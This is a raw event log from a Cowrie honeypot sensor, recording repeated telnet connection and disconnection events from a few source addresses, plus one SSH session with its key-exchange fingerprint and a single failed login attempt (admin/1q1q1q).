{"eventid":"cowrie.session.connect","src_ip":"72.27.54.238","src_port":41792,"dst_ip":"159.203.135.109","dst_port":23,"session":"c946aaa4b663","protocol":"telnet","message":"New connection: 72.27.54.238:41792 (159.203.135.109:23) [session: c946aaa4b663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:34.215332Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":41752,"dst_ip":"10.17.0.5","dst_port":23,"session":"402c8ce6d72a","protocol":"telnet","message":"New connection: 108.179.216.206:41752 (10.17.0.5:23) [session: 402c8ce6d72a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:34.577267Z"}
{"eventid":"cowrie.session.closed","duration":30.533026933670044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:35.097125Z","src_ip":"108.179.216.206","session":"3aba918d3683","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":42406,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9990343abb6","protocol":"telnet","message":"New connection: 108.179.216.206:42406 (10.17.0.5:23) [session: f9990343abb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:35.225947Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":39742,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a355d27464d","protocol":"telnet","message":"New connection: 108.179.216.206:39742 (10.17.0.5:23) [session: 3a355d27464d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:35.493623Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":41882,"dst_ip":"10.17.0.5","dst_port":23,"session":"fabcf883e543","protocol":"telnet","message":"New connection: 108.179.216.206:41882 (10.17.0.5:23) [session: fabcf883e543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:35.656765Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":37148,"dst_ip":"159.203.135.109","dst_port":23,"session":"df2795ccc67a","protocol":"telnet","message":"New connection: 209.126.87.217:37148 (159.203.135.109:23) [session: df2795ccc67a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:35.832037Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":43250,"dst_ip":"10.17.0.5","dst_port":23,"session":"76bfb137a644","protocol":"telnet","message":"New connection: 108.179.216.206:43250 (10.17.0.5:23) [session: 76bfb137a644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:35.890167Z"}
{"eventid":"cowrie.session.closed","duration":31.014999866485596,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:36.209085Z","src_ip":"209.126.87.217","session":"868cd371c49d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.625563383102417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:36.250386Z","src_ip":"108.179.216.206","session":"a6ce1a055783","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.360681772232056,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:36.446068Z","src_ip":"108.179.216.206","session":"033daa8152f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":39826,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0b53b97ae8e","protocol":"telnet","message":"New connection: 108.179.216.206:39826 (10.17.0.5:23) [session: b0b53b97ae8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:36.599635Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":43558,"dst_ip":"10.17.0.5","dst_port":23,"session":"42b4dd455aa2","protocol":"telnet","message":"New connection: 108.179.216.206:43558 (10.17.0.5:23) [session: 42b4dd455aa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:37.240684Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":44398,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a9768ad2590","protocol":"telnet","message":"New connection: 108.179.216.206:44398 (10.17.0.5:23) [session: 4a9768ad2590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:38.056215Z"}
{"eventid":"cowrie.session.closed","duration":31.055657148361206,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:38.087832Z","src_ip":"108.179.216.206","session":"dd1be2ababce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.346741199493408,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:38.217578Z","src_ip":"108.179.216.206","session":"f175373e9f68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":45608,"dst_ip":"10.17.0.5","dst_port":23,"session":"95248abf6d06","protocol":"telnet","message":"New connection: 108.179.216.206:45608 (10.17.0.5:23) [session: 95248abf6d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:38.301143Z"}
{"eventid":"cowrie.session.closed","duration":31.548758506774902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:38.332970Z","src_ip":"209.126.87.217","session":"ac9ad4691db1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.541980743408203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:38.662006Z","src_ip":"108.179.216.206","session":"be253283e1d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":44954,"dst_ip":"10.17.0.5","dst_port":23,"session":"19e6d48b0e76","protocol":"telnet","message":"New connection: 108.179.216.206:44954 (10.17.0.5:23) [session: 19e6d48b0e76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:38.667111Z"}
{"eventid":"cowrie.session.closed","duration":31.385148763656616,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:38.838967Z","src_ip":"108.179.216.206","session":"0eae8b719771","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.35665464401245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:39.037085Z","src_ip":"108.179.216.206","session":"c9e19fa5a3ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":45458,"dst_ip":"10.17.0.5","dst_port":23,"session":"e062799a1028","protocol":"telnet","message":"New connection: 108.179.216.206:45458 (10.17.0.5:23) [session: e062799a1028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:39.191496Z"}
{"eventid":"cowrie.session.closed","duration":31.002868175506592,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:39.410830Z","src_ip":"108.179.216.206","session":"a259bc478787","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":46990,"dst_ip":"10.17.0.5","dst_port":23,"session":"781bd7f51a56","protocol":"telnet","message":"New connection: 108.179.216.206:46990 (10.17.0.5:23) [session: 781bd7f51a56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:39.600109Z"}
{"eventid":"cowrie.session.closed","duration":31.038771152496338,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:40.273802Z","src_ip":"108.179.216.206","session":"23757e4dd790","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.38801121711731,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:40.769303Z","src_ip":"108.179.216.206","session":"d29aa8a0e9fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":48284,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c3872555054","protocol":"telnet","message":"New connection: 108.179.216.206:48284 (10.17.0.5:23) [session: 2c3872555054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:40.821754Z"}
{"eventid":"cowrie.session.closed","duration":120.00213170051575,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:41.104894Z","src_ip":"42.114.201.41","session":"4dd443b1af64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":49338,"dst_ip":"10.17.0.5","dst_port":23,"session":"6eab11b5dee6","protocol":"telnet","message":"New connection: 108.179.216.206:49338 (10.17.0.5:23) [session: 6eab11b5dee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:41.785788Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":49432,"dst_ip":"10.17.0.5","dst_port":23,"session":"162fbab299e7","protocol":"telnet","message":"New connection: 108.179.216.206:49432 (10.17.0.5:23) [session: 162fbab299e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:41.908188Z"}
{"eventid":"cowrie.session.closed","duration":30.895864963531494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:42.158338Z","src_ip":"108.179.216.206","session":"0ccc9a2f5443","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":49926,"dst_ip":"10.17.0.5","dst_port":23,"session":"841a7f61dded","protocol":"telnet","message":"New connection: 108.179.216.206:49926 (10.17.0.5:23) [session: 841a7f61dded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:42.348433Z"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":36788,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f04048989ce","protocol":"telnet","message":"New connection: 42.114.201.41:36788 (159.203.135.109:23) [session: 3f04048989ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:42.618346Z"}
{"eventid":"cowrie.session.closed","duration":120.00201511383057,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:43.245886Z","src_ip":"42.114.201.41","session":"eeb50d40bef0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60933494567871,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:43.395753Z","src_ip":"209.126.87.217","session":"6837285c551a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90635848045349,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:43.400652Z","src_ip":"108.179.216.206","session":"c32836fb15ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46122,"dst_ip":"159.203.135.109","dst_port":23,"session":"b690331b0c75","protocol":"telnet","message":"New connection: 209.126.87.217:46122 (159.203.135.109:23) [session: b690331b0c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:43.588854Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":51354,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec63f1a18c40","protocol":"telnet","message":"New connection: 108.179.216.206:51354 (10.17.0.5:23) [session: ec63f1a18c40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:43.608429Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46130,"dst_ip":"159.203.135.109","dst_port":23,"session":"95938085794c","protocol":"telnet","message":"New connection: 209.126.87.217:46130 (159.203.135.109:23) [session: 95938085794c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:43.780534Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46140,"dst_ip":"159.203.135.109","dst_port":23,"session":"a732aa174864","protocol":"telnet","message":"New connection: 209.126.87.217:46140 (159.203.135.109:23) [session: a732aa174864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:44.067914Z"}
{"eventid":"cowrie.session.closed","duration":31.521480321884155,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:44.533879Z","src_ip":"108.179.216.206","session":"ea1b007fa4fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":28390,"dst_ip":"159.203.135.109","dst_port":23,"session":"61d7e4d72b8a","protocol":"telnet","message":"New connection: 42.114.201.41:28390 (159.203.135.109:23) [session: 61d7e4d72b8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:44.637448Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46144,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a8c5cf83686","protocol":"telnet","message":"New connection: 209.126.87.217:46144 (159.203.135.109:23) [session: 2a8c5cf83686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:45.024317Z"}
{"eventid":"cowrie.session.closed","duration":30.710880041122437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:45.086745Z","src_ip":"108.179.216.206","session":"2d28f9aed11b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":53768,"dst_ip":"10.17.0.5","dst_port":23,"session":"51ba2c9c4374","protocol":"telnet","message":"New connection: 108.179.216.206:53768 (10.17.0.5:23) [session: 51ba2c9c4374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:46.082889Z"}
{"eventid":"cowrie.session.closed","duration":31.055420637130737,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:46.152737Z","src_ip":"108.179.216.206","session":"1817101aacf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46154,"dst_ip":"159.203.135.109","dst_port":23,"session":"a43f6a71e84b","protocol":"telnet","message":"New connection: 209.126.87.217:46154 (159.203.135.109:23) [session: a43f6a71e84b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:46.188067Z"}
{"eventid":"cowrie.session.closed","duration":30.963817358016968,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:46.364267Z","src_ip":"108.179.216.206","session":"c73f239f8df5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":54058,"dst_ip":"10.17.0.5","dst_port":23,"session":"b921f1ed014b","protocol":"telnet","message":"New connection: 108.179.216.206:54058 (10.17.0.5:23) [session: b921f1ed014b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:46.368394Z"}
{"eventid":"cowrie.session.closed","duration":30.95387864112854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:46.373844Z","src_ip":"108.179.216.206","session":"1cac08c573ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":54370,"dst_ip":"10.17.0.5","dst_port":23,"session":"40e0e656bc25","protocol":"telnet","message":"New connection: 108.179.216.206:54370 (10.17.0.5:23) [session: 40e0e656bc25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:46.610381Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":55622,"dst_ip":"10.17.0.5","dst_port":23,"session":"60f16719227d","protocol":"telnet","message":"New connection: 108.179.216.206:55622 (10.17.0.5:23) [session: 60f16719227d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:47.737747Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":54686,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c97cffe919b","protocol":"telnet","message":"New connection: 108.179.216.206:54686 (10.17.0.5:23) [session: 4c97cffe919b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:47.909924Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":56200,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f188261aec4","protocol":"telnet","message":"New connection: 108.179.216.206:56200 (10.17.0.5:23) [session: 2f188261aec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:48.206785Z"}
{"eventid":"cowrie.session.closed","duration":31.57327437400818,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:48.329521Z","src_ip":"108.179.216.206","session":"1c20315febe2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.927112102508545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:49.269129Z","src_ip":"108.179.216.206","session":"eb33b385adec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":54540,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6613524d505","protocol":"telnet","message":"New connection: 108.179.216.206:54540 (10.17.0.5:23) [session: c6613524d505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:49.763876Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":57272,"dst_ip":"10.17.0.5","dst_port":23,"session":"557911313b38","protocol":"telnet","message":"New connection: 108.179.216.206:57272 (10.17.0.5:23) [session: 557911313b38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:50.132438Z"}
{"eventid":"cowrie.session.closed","duration":30.25533175468445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:50.183876Z","src_ip":"108.179.216.206","session":"28b2cdd07fda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.973003387451172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:50.211428Z","src_ip":"108.179.216.206","session":"cf5d1fdb3f5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":40432,"dst_ip":"10.17.0.5","dst_port":22,"session":"384d835176d0","protocol":"ssh","message":"New connection: 45.43.86.48:40432 (10.17.0.5:22) [session: 384d835176d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:50.606479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:50.611751Z","src_ip":"45.43.86.48","session":"384d835176d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:50.735829Z","src_ip":"45.43.86.48","session":"384d835176d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.6329984664917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:50.776396Z","src_ip":"108.179.216.206","session":"cd42c4a0feaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.920501470565796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:50.836112Z","src_ip":"108.179.216.206","session":"77b4f525bd86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.607127904891968,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:51.044859Z","src_ip":"108.179.216.206","session":"42cd2f4e10a7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1q1q1q","message":"login attempt [admin/1q1q1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:51.146961Z","src_ip":"45.43.86.48","session":"384d835176d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.868385553359985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:51.495340Z","src_ip":"108.179.216.206","session":"a0623661ee1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.895836353302002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:52.139892Z","src_ip":"108.179.216.206","session":"84eed000df3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.781633138656616,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:52.201503Z","src_ip":"108.179.216.206","session":"91325baa3065","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:52.232864Z","src_ip":"45.43.86.48","session":"384d835176d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":60904,"dst_ip":"10.17.0.5","dst_port":23,"session":"16276cb9d0a4","protocol":"telnet","message":"New connection: 108.179.216.206:60904 (10.17.0.5:23) [session: 16276cb9d0a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:52.334610Z"}
{"eventid":"cowrie.session.closed","duration":31.58389902114868,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:52.967750Z","src_ip":"108.179.216.206","session":"90ca6550c247","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":60730,"dst_ip":"10.17.0.5","dst_port":23,"session":"59eec7e153f1","protocol":"telnet","message":"New connection: 108.179.216.206:60730 (10.17.0.5:23) [session: 59eec7e153f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:53.121399Z"}
{"eventid":"cowrie.session.closed","duration":31.515584468841553,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:53.911471Z","src_ip":"108.179.216.206","session":"c2301f52b4c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56932,"dst_ip":"159.203.135.109","dst_port":23,"session":"4744218084ad","protocol":"telnet","message":"New connection: 209.126.87.217:56932 (159.203.135.109:23) [session: 4744218084ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:54.227692Z"}
{"eventid":"cowrie.session.closed","duration":30.457566261291504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:54.260124Z","src_ip":"108.179.216.206","session":"83b80ba6b8b7","protocol":"telnet"}
